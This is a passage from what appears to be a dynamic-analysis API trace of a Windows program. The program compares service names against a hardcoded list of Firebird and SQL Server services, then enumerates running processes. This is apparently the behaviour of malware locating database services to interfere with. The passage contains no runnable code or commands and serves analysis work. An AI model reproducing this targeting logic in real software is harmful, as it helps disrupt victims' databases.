lpString2="DPS") returned 1 [0139.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0139.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0139.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0139.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0139.570] lstrlenW (lpString="DusmSvc") returned 7 [0139.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0139.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0139.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0139.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0139.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0139.570] lstrlenW (lpString="EventLog") returned 8 [0139.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0139.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0139.571] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0139.571] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0139.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0139.571] lstrlenW (lpString="EventSystem") returned 11 [0139.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0139.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0139.571] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0139.571] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0139.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0139.571] lstrlenW (lpString="FontCache") returned 9 [0139.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0139.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0139.571] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0139.571] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0139.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0139.571] lstrlenW (lpString="gpsvc") returned 5 [0139.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0139.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0139.571] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0139.571] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0139.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0139.571] lstrlenW (lpString="iphlpsvc") returned 8 [0139.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0139.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0139.571] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0139.572] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0139.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0139.572] lstrlenW (lpString="KeyIso") returned 6 [0139.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0139.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0139.572] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0139.572] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0139.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0139.572] lstrlenW (lpString="LanmanServer") returned 12 [0139.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0139.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0139.572] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0139.572] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0139.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0139.572] lstrlenW (lpString="LanmanWorkstation") returned 17 [0139.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.572] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0139.572] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0139.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0139.572] lstrlenW (lpString="lfsvc") returned 5 [0139.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0139.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0139.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0139.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0139.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0139.572] lstrlenW (lpString="lmhosts") returned 7 [0139.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0139.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0139.573] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0139.725] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0139.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0139.725] lstrlenW (lpString="LSM") returned 3 [0139.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0139.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0139.725] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0139.725] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0139.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0139.725] lstrlenW (lpString="MapsBroker") returned 10 [0139.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0139.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0139.726] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0139.726] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0139.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0139.726] lstrlenW (lpString="MpsSvc") returned 6 [0139.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0139.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0139.726] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0139.726] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0139.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0139.726] lstrlenW (lpString="NcbService") returned 10 [0139.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0139.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0139.726] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0139.726] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0139.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0139.726] lstrlenW (lpString="netprofm") returned 8 [0139.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0139.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0139.726] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0139.726] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0139.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0139.726] lstrlenW (lpString="NlaSvc") returned 6 [0139.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0139.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0139.726] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0139.727] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0139.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0139.727] lstrlenW (lpString="nsi") returned 3 [0139.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0139.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0139.727] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0139.727] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0139.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0139.727] lstrlenW (lpString="PcaSvc") returned 6 [0139.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0139.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0139.727] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0139.727] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0139.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0139.727] lstrlenW (lpString="PlugPlay") returned 8 [0139.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0139.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0139.727] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0139.727] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0139.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0139.727] lstrlenW (lpString="Power") returned 5 [0139.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0139.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0139.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0139.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0139.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0139.728] lstrlenW (lpString="ProfSvc") returned 7 [0139.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0139.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0139.728] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0139.728] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0139.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0139.728] lstrlenW (lpString="RpcEptMapper") returned 12 [0139.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.728] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0139.728] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0139.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0139.728] lstrlenW (lpString="RpcSs") returned 5 [0139.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0139.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0139.728] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0139.728] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0139.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0139.728] lstrlenW (lpString="SamSs") returned 5 [0139.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0139.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0139.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0139.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0139.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0139.728] lstrlenW (lpString="Schedule") returned 8 [0139.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0139.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0139.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0139.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0139.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0139.729] lstrlenW (lpString="SecurityHealthService") returned 21 [0139.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0139.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0139.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0139.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0139.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0139.729] lstrlenW (lpString="SENS") returned 4 [0139.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0139.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0139.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0139.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0139.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0139.730] lstrlenW (lpString="ShellHWDetection") returned 16 [0139.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0139.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0139.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0139.730] lstrlenW (lpString="Spooler") returned 7 [0139.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0139.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0139.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0139.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0139.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0139.730] lstrlenW (lpString="SSDPSRV") returned 7 [0139.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0139.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0139.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0139.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0139.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0139.730] lstrlenW (lpString="StateRepository") returned 15 [0139.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0139.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0139.730] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0139.730] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0139.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0139.730] lstrlenW (lpString="SysMain") returned 7 [0139.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0139.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0139.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0139.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0139.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0139.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10cc [0139.737] Process32FirstW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.737] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0139.738] lstrlenW (lpString="System") returned 6 [0139.738] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0139.739] lstrlenW (lpString="smss.exe") returned 8 [0139.739] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.740] lstrlenW (lpString="csrss.exe") returned 9 [0139.740] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0139.741] lstrlenW (lpString="wininit.exe") returned 11 [0139.741] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.742] lstrlenW (lpString="csrss.exe") returned 9 [0139.742] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0139.743] lstrlenW (lpString="winlogon.exe") returned 12 [0139.743] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0139.744] lstrlenW (lpString="services.exe") returned 12 [0139.744] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0139.745] lstrlenW (lpString="lsass.exe") returned 9 [0139.745] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.746] lstrlenW (lpString="svchost.exe") returned 11 [0139.746] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0139.747] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0139.747] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0139.748] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0139.748] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.749] lstrlenW (lpString="svchost.exe") returned 11 [0139.749] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0139.750] lstrlenW (lpString="dwm.exe") returned 7 [0139.750] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.751] lstrlenW (lpString="svchost.exe") returned 11 [0139.751] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.752] lstrlenW (lpString="svchost.exe") returned 11 [0139.752] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.753] lstrlenW (lpString="svchost.exe") returned 11 [0139.753] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.754] lstrlenW (lpString="svchost.exe") returned 11 [0139.754] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.754] lstrlenW (lpString="svchost.exe") returned 11 [0139.755] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.755] lstrlenW (lpString="svchost.exe") returned 11 [0139.755] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.756] lstrlenW (lpString="svchost.exe") returned 11 [0139.756] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.757] lstrlenW (lpString="svchost.exe") returned 11 [0139.757] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.757] lstrlenW (lpString="svchost.exe") returned 11 [0139.758] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0139.758] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.758] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.759] lstrlenW (lpString="svchost.exe") returned 11 [0139.759] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.760] lstrlenW (lpString="svchost.exe") returned 11 [0139.760] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0139.942] lstrlenW (lpString="audiodg.exe") returned 11 [0139.942] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0139.942] lstrlenW (lpString="sihost.exe") returned 10 [0139.942] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, 